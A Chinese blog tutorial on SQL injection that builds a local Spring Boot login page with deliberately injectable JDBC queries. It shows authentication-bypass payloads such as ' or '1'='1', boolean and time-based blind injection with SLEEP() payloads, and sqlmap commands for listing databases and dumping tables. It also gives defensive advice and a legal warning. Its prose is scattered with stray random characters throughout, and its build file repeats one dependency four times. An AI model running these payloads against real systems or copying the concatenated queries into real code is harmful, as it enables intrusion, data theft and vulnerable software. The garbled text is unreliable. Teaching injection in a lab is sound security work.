SQL注入初體驗

SQL注入是什么建芙?

通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串涵亏,最終達到欺騙服務(wù)器執(zhí)行惡意的SQL命令。
按照執(zhí)行效果來分類分為:
1.基于報錯注入
2.基于布爾的盲注
3.基于時間的盲注
今天,我們要使用Springboot搭建一個簡單的登陸框頁面掸犬,后端使用JDBC進行數(shù)據(jù)庫數(shù)據(jù)校驗以及復現(xiàn)以上三種常見的SQL注入案例珊楼。

測試環(huán)境搭建

首先下載IDEA編譯器通殃,并且安裝JDK環(huán)境,然后配置MAVEN倉庫厕宗。
IDEA官網(wǎng):https://www.jetbrains.com/
創(chuàng)建MAVEN工程,創(chuàng)建父工程和模塊并在模塊pom文件中導入依賴(詳細教程在鏈接里有):

 <dependencies>
        <dependency>
            <groupId>org.thymeleaf</groupId>
            <artifactId>thymeleaf</artifactId>
            <version>3.0.11.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>org.thymeleaf</groupId>
            <artifactId>thymeleaf-spring5</artifactId>
            <version>3.0.11.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>5.1.32</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-jpa</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-web</artifactId>
            <version>5.1.8.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-web</artifactId>
            <version>5.1.8.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-web</artifactId>
            <version>5.1.8.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-web</artifactId>
            <version>5.1.8.RELEASE</version>
        </dependency>

    </dependencies>

在yml文件中添加數(shù)據(jù)庫配置和thymeleaf:

server:
  port: 8000 #端口
spring:
  application:
    name: service #服務(wù)名稱
  datasource:
    driver-class-name: com.mysql.jdbc.Driver
    url: jdbc:mysql://localhost:3306/xxxx?useUnicode=true&characterEncoding=utf8
    username: root
    password: xxxx
  thymeleaf:
    cache: false
    prefix: classpath:/templates/
    suffix: .html
    encoding: UTF-8
    mode: HTML5

添加四種登陸方法

前端頁面

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.w3.org/1999/xhtml">
<head >
    <meta charset="UTF-8">
    <title>這是一個登陸頁面</title>
</head>
<body>
<form th:action="@{/login1}"    method="post">
    <p>用戶名:<input name="username" type="text" placeholder="userName"></p>
    <p>密  碼:<input name="password" type="password" placeholder="Password"></p>
    <input type="submit" value="登陸">
</form>
<p th:text="${result}"></p>
</body>
</html>

在Controller文件自動裝填jdbcTemplate類并添加四種登陸方法:

 @Autowired
    JdbcTemplate jdbcTemplate;
 @RequestMapping("/index")
    public String testJumpPage(Model model)  throws Exception{
        model.addAttribute("result", "開始嘗試登陸吧~");
        return "index";
    }
 @PostMapping("/login1")
    public String Login1(@RequestParam("username") String username,
                         @RequestParam("password") String password,
                         Model model ){
        boolean flag=false;
        String  result="密碼錯誤繼續(xù)登陸吧";
        String sql="";
        sql="select count(*) from my_user where user_name='"+username+"'AND user_password='"+password+"'";
        List<Map<String, Object>> list = jdbcTemplate.queryForList(sql);
        Object f=  list.get(0).get("count(*)");
        if(f.toString().equals("1")) {
            result = "登陸成功";
        }
        model.addAttribute("result", result);
        return "index";
    }
    @PostMapping("/login2")
    public String Login2 (@RequestParam("username") String username,
                         @RequestParam("password") String password,
                         Model model ){

        boolean flag=false;
        String  result="密碼錯誤繼續(xù)登陸吧";
        String sql="";
        sql="select count(*) from my_user where user_name=? AND user_password=?";
        List<Map<String, Object>> list = jdbcTemplate.queryForList(sql,username,password);
        Object f=  list.get(0).get("count(*)");
        if(f.toString().equals("1")) {
            result = "登陸成功";
        }
        model.addAttribute("result", result);
        return "index";
    }
    @PostMapping("/login3")
    public String Login3(@RequestParam("username") String username,
                                 @RequestParam("password") String password,
                                 Model model ){
        boolean flag=false;
        String  result="密碼錯誤繼續(xù)登陸吧";
        String sql="";
        sql="select count(*) from my_user where user_name='"+username+"'AND user_password='"+password+"'";
        try
        {
            List<Map<String, Object>> list = jdbcTemplate.queryForList(sql);
            Object f = list.get(0).get("count(*)");
            if (f.toString().equals("1")) {
                result = "登陸成功";
            }
        }catch (Exception e){
            System.out.println(e);
        }
        model.addAttribute("result", result);
        return "index";
    }
    @PostMapping("/login4")
    public String Login4 (@RequestParam("username") String username,
                              @RequestParam("password") String password,
                              Model model ){
        boolean flag=false;
        String  result="密碼錯誤繼續(xù)登陸吧";
        String sql="";
        sql="select count(*) from my_user where user_name='"+username+"'AND user_password='"+password+"'";
        try
        {
            List<Map<String, Object>> list = jdbcTemplate.queryForList(sql);
            Object f = list.get(0).get("count(*)");
            if (f.toString().equals("1")) {
                result = "登陸成功";
            }
        }catch (Exception e){
            System.out.println(e);
            model.addAttribute("result", "404無法訪問");
            return "error404";
        }
        model.addAttribute("result", result);
        return "index";
    }

可以看出JDBC有兩種Sql語句的拼寫方式:

  1. 使用String相加拼接画舌。
  String sql="select count(*) from my_user where user_name='"+username+"'AND user_password='"+password+"'";
  List<Map<String, Object>> list = jdbcTemplate.queryForList(sql);
  1. 使用占位符拼接
  String sql="select count(*) from my_user where user_name=? AND user_password=?";
  List<Map<String, Object>> list = jdbcTemplate.queryForList(sql,username,password);

注入點手工測試

首先是手工測試一個網(wǎng)頁是否符合注入的條件,由于login1方法沒有寫異常處理媳瞪,所以頁面會自動報異常骗炉,把系統(tǒng)內(nèi)部的錯誤暴露給用戶方。如圖:
異常拋出.png

user_name=1'時蛇受,帶有特殊字符單引號句葵,紅字部分程序請求數(shù)據(jù)庫的語句為:

select count(*) from my_user where user_name='1'' AND user_password='';

可以判斷user_name是注入點,同理user_password也是注入點。像這個sql乍丈,我們就可以在mysql數(shù)據(jù)庫中嘗試寫sql語句并使用注解機制改變sql語句的結(jié)構(gòu)剂碴,使得sql語句變成:

select count(*) from my_user where user_name='' or '1'='1';-- AND user_password ='';
我的mysql數(shù)據(jù)庫只支持'1'='1'這種寫法,有的數(shù)據(jù)庫也支持1=1轻专,兩種寫法

可以直接打開Mysql數(shù)據(jù)庫進行查詢不再使用網(wǎng)頁端測試忆矛,可以得到結(jié)果為:表中的總數(shù)據(jù)量(3條)。
也可以嘗試一下做:

select count(*) from my_user where user_name='' OR '1'='1' AND user_password ='';-->0條
select count(*) from my_user where user_name='' AND user_password ='' OR '1'='1';-->3條

通過執(zhí)行結(jié)果我們可以結(jié)合文檔理解一下AND/OR的用法请垛,AND的優(yōu)先級是高于OR的催训,故而查詢優(yōu)化器先計算AND再進行OR計算。
通過程序我們知道count(*)=1時宗收,登陸成功漫拭,故而我們可以把username設(shè)為想登陸的用戶名如:admin,password設(shè)為' or '1'='1' and user_name='admin混稽;
拼接成程序執(zhí)行sql:

select count(*) from my_user where user_name='admin' AND user_password ='' or '1'='1' and user_name='admin';
執(zhí)行結(jié)果=1,可用來登陸已知用戶名的"admin"和其他賬戶采驻。

但是,在這個網(wǎng)頁中異承傺回顯只有顯示sql語句礼旅,并不返回執(zhí)行結(jié)果。所以還要引入盲注的概念∏⒔啵現(xiàn)在可以簡單分析一下四種登陸方法:
四種登陸方法的分析.png

測試發(fā)現(xiàn)痘系,由于login1-3都是String相加拼接,因此存在注入點诡挂。login4使用占位符拼接暫時未發(fā)現(xiàn)注入點碎浇。
并且login1-3三種返回值都會有不一樣的回顯狀態(tài),可以利用這點去暴力拖庫璃俗,比方說可以執(zhí)行如:

exists(select 1 from table)

這種語句來判斷有沒有這張表奴璃。
通過編寫比較復雜的sql語句,就可以依次判斷數(shù)據(jù)庫的庫名長度再用窮舉法(26個字母)根據(jù)返回狀態(tài)去判斷數(shù)據(jù)庫名每一位的字母城豁,從而獲得數(shù)據(jù)庫名苟穆,同樣的方法也能獲得表中的數(shù)據(jù),這種就是“布爾型盲注”唱星。
相近的道理“時間盲注”在每一個sql中添加sleep()語句可以延緩數(shù)據(jù)庫返回雳旅,從而判斷執(zhí)行的成功與否,形成人為判斷的true和false值间聊,當然這種方法就比較耗時攒盈,同時也比較有攻擊性,有可能造成服務(wù)不可用哎榴。

使用SqlMap進行自動化注入攻擊

SqlMap簡介

詳細介紹:https://blog.csdn.net/taozpwater/article/details/22618995
SqlMap是一個開源滲透測試工具型豁,它可以自動檢測和利用SQL注入漏洞并接管數(shù)據(jù)庫服務(wù)器的過程僵蛛。它具有強大的檢測引擎,針對最終滲透測試儀的眾多細分功能以及從數(shù)據(jù)庫指紋識別迎变,從數(shù)據(jù)庫獲取數(shù)據(jù)到訪問基礎(chǔ)文件系統(tǒng)以及通過外出在操作系統(tǒng)上執(zhí)行命令的廣泛開關(guān)充尉,并帶內(nèi)連接。

運行SqlMap

首先有必要提醒一點衣形,請不要使用滲透測試工具對實際的生產(chǎn)數(shù)據(jù)庫和服務(wù)器進行SQL注入攻擊驼侠,這種行為將觸犯《中華人民共和國網(wǎng)絡(luò)安全法》,嚴重者會受到法律的制裁谆吴。
下面是他的部分使用方法:

幫助信息:python sqlmap.py --help     
網(wǎng)頁注入點位GET:python sqlmap.py -u url 針對get型傳參
網(wǎng)頁注入點位POST:python sqlmap.py -r sql.txt 針對post型傳參倒源,將request包保存為txt文件,存在注入的參數(shù)用*標注纪铺;
    python sqlmap.py -r sql.txt --dbs            查看有哪幾個數(shù)據(jù)庫
    python sqlmap.py -r sql.txt -D 庫名 --tables             查看數(shù)據(jù)庫內(nèi)表名
    python sqlmap.py -r sql.txt -D 庫名 -T 表名 --columns    查看表字段
    python sqlmap.py -r sql.txt -D 庫名 -T 表名 --dump       下載表

REQUEST包保存的txt文件:

POST /login1 HTTP/1.1
Host: localhost:8000
Connection: keep-alive
Content-Length: 21
Cache-Control: max-age=0
Origin: http://localhost:8000
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,"*/*";q=0.8("*/*"沒有雙引號)
Referer: http://localhost:8000/login1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9

username=*&password=*

如果有開啟數(shù)據(jù)庫慢查詢的話就可以到C:\ProgramData\MySQL\MySQL Server 5.6\data中查詢慢查詢?nèi)罩玖讼嗨伲@是我的部分慢查詢?nèi)罩荆?/p>

select count(*) from my_user where user_name=''AND user_password='' OR SLEEP(5)-- XuXx';
select count(*) from my_user where user_name='' OR SLEEP(5)-- OVwx'AND user_password='';

這些就是sqlmap在數(shù)據(jù)庫中做時間盲注的部分操作。因此如果在生成數(shù)據(jù)庫慢查詢?nèi)罩局谐霈F(xiàn)大量的sleep函數(shù)語句就應該警惕服務(wù)器是否被注入攻擊了鲜锚。

總結(jié)

在涉及到數(shù)據(jù)庫操作的程序編寫時應該避免sql語句使用字符串拼接的方法,目前使用占位符的方法是比較安全的苫拍,但是使用占位符進行數(shù)據(jù)庫查詢時應該注意JAVA類型和SQL類型的轉(zhuǎn)換問題芜繁,否則有可能導致“索引失效”的問題,以下是數(shù)據(jù)類型轉(zhuǎn)換表:


數(shù)據(jù)類型轉(zhuǎn)換表.jpg

解決方案有人總結(jié)過绒极,這里直接摘抄一下:

  1. 永遠不要信任用戶的輸入骏令。對用戶的輸入進行校驗,可以通過正則表達式垄提,或限制長度榔袋,對單引號和雙"-"進行轉(zhuǎn)換等。

  2. 永遠不要使用動態(tài)拼裝SQL铡俐,可以使用參數(shù)化的SQL(綁定變量)或者直接使用存儲過程進行數(shù)據(jù)查詢存取凰兑。

  3. 永遠不要使用管理員權(quán)限的數(shù)據(jù)庫連接,為每個應用使用單獨的權(quán)限有限的數(shù)據(jù)庫連接审丘。

  4. 不要把機密信息直接存放吏够,加密或者hash掉密碼和敏感的信息。

  5. 應用的異常信息應該給出盡可能少的提示滩报,最好使用自定義的錯誤信息對原始錯誤信息進行包裝锅知。

  6. SQL注入的檢測方法一般采取輔助軟件或網(wǎng)站平臺來檢測。

當然如今的SQL注入手段已經(jīng)遠不止上面所描述的三種脓钾,基于JPA和Mybatis的數(shù)據(jù)庫操作也并非絕對的安全售睹,作為一個程序員一定要永遠處于保存學習的狀態(tài)、與時俱進才能迎接更多的挑戰(zhàn)可训。

相關(guān)鏈接:

1.Bisal的文章《初學SQL注入》給我的啟發(fā):https://mp.weixin.qq.com/s/XMaJ9F5aSsJjNHuSTD49dA
2.WHF關(guān)于注入攻擊知識的耐心教學,這是她的博客:https://wszdhf.github.io/
3.尚硅谷MySql的網(wǎng)課:https://www.bilibili.com/video/BV12b411K7Zufrom=search&seid=6777170217374891545
4.黑馬程序員SpringCloud的網(wǎng)課:https://www.bilibili.com/video/BV1eE41187Ugfrom=search&seid=18019460689454241634

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末昌妹,一起剝皮案震驚了整個濱河市捶枢,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌捺宗,老刑警劉巖柱蟀,帶你破解...
    沈念sama閱讀 219,270評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異蚜厉,居然都是意外死亡长已,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,489評論 3 395
  • 文/潘曉璐 我一進店門昼牛,熙熙樓的掌柜王于貴愁眉苦臉地迎上來术瓮,“玉大人,你說我怎么就攤上這事贰健“模” “怎么了?”我有些...
    開封第一講書人閱讀 165,630評論 0 356
  • 文/不壞的土叔 我叫張陵伶椿,是天一觀的道長辜伟。 經(jīng)常有香客問我,道長脊另,這世上最難降的妖魔是什么导狡? 我笑而不...
    開封第一講書人閱讀 58,906評論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮偎痛,結(jié)果婚禮上旱捧,老公的妹妹穿的比我還像新娘。我一直安慰自己踩麦,他們只是感情好枚赡,可當我...
    茶點故事閱讀 67,928評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著谓谦,像睡著了一般贫橙。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上茁计,一...
    開封第一講書人閱讀 51,718評論 1 305
  • 那天料皇,我揣著相機與錄音,去河邊找鬼星压。 笑死践剂,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的娜膘。 我是一名探鬼主播逊脯,決...
    沈念sama閱讀 40,442評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼竣贪!你這毒婦竟也來了军洼?” 一聲冷哼從身側(cè)響起巩螃,我...
    開封第一講書人閱讀 39,345評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎匕争,沒想到半個月后避乏,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,802評論 1 317
  • 正文 獨居荒郊野嶺守林人離奇死亡甘桑,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,984評論 3 337
  • 正文 我和宋清朗相戀三年拍皮,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片跑杭。...
    茶點故事閱讀 40,117評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡铆帽,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出德谅,到底是詐尸還是另有隱情爹橱,我是刑警寧澤,帶...
    沈念sama閱讀 35,810評論 5 346
  • 正文 年R本政府宣布窄做,位于F島的核電站愧驱,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏椭盏。R本人自食惡果不足惜冯键,卻給世界環(huán)境...
    茶點故事閱讀 41,462評論 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望庸汗。 院中可真熱鬧,春花似錦手报、人聲如沸蚯舱。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,011評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽枉昏。三九已至,卻和暖如春揍鸟,著一層夾襖步出監(jiān)牢的瞬間兄裂,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,139評論 1 272
  • 我被黑心中介騙來泰國打工阳藻, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留晰奖,地道東北人。 一個月前我還...
    沈念sama閱讀 48,377評論 3 373
  • 正文 我出身青樓腥泥,卻偏偏與公主長得像匾南,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子蛔外,可洞房花燭夜當晚...
    茶點故事閱讀 45,060評論 2 355

推薦閱讀更多精彩內(nèi)容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當給sq...
    xuningbo閱讀 10,320評論 2 22
  • sqlmap用戶手冊 說明:本文為轉(zhuǎn)載蛆楞,對原文中一些明顯的拼寫錯誤進行修正溯乒,并標注對自己有用的信息。 ======...
    wind_飄閱讀 2,051評論 0 5
  • 這是個筆記豹爹,沒自己試過裆悄,就是漲姿勢的。很好的資料:隨筆分類 - sqli-labs通關(guān)詳解[%5Bhttps://...
    yumiii_閱讀 2,538評論 2 10
  • 1.何為Sql注入臂聋? 所謂SQL注入光稼,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最...
    打傘De魚666閱讀 1,442評論 0 7
  • sqlmap也是滲透中常用的一個注入工具逻住,其實在注入工具方面钟哥,一個sqlmap就足夠用了,只要你用的熟瞎访,秒殺各種工...
    linkally閱讀 6,893評論 1 40